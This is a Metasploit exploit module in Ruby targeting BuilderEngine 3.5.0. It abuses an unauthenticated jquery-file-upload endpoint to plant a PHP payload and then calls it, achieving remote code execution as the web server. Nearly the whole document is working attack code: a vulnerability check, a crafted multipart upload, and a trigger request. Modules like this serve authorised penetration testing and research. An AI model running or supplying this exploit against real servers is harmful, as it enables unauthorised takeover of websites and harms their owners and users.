BuilderEngine Arbitrary File Upload Vulnerability and execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
        'Description' => %q{
          This module exploits a vulnerability found in BuilderEngine 3.5.0
          via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
          file, which would result in arbitrary remote code execution under the context of
          the web server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metanubix', # PoC
          'Marco Rivoli' # Metasploit
        ],
        'References' => [
          ['CVE', '2025-34100'],
          ['EDB', '40390']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['BuilderEngine 3.5.0', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2016-09-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
      ]
    )
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
    })

    if res && res.code == 200 && !res.body.blank?
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    uri = target_uri.path

    peer = "#{rhost}:#{rport}"
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
    data = Rex::MIME::Message.new
    payload_encoded = Rex::Text.rand_text_alpha(1)
    payload_encoded << "<?php "
    payload_encoded << payload.encoded
    payload_encoded << " ?>\r\n"
    data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    })

    if res
      if res.code == 200 && res.body =~ /files|#{php_pagename}/
        print_good("Our payload is at: #{php_pagename}. Calling payload...")
        register_file_for_cleanup(php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'ERROR')
    end

    print_status("Calling payload...")
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'files/', php_pagename)
    )
  end
end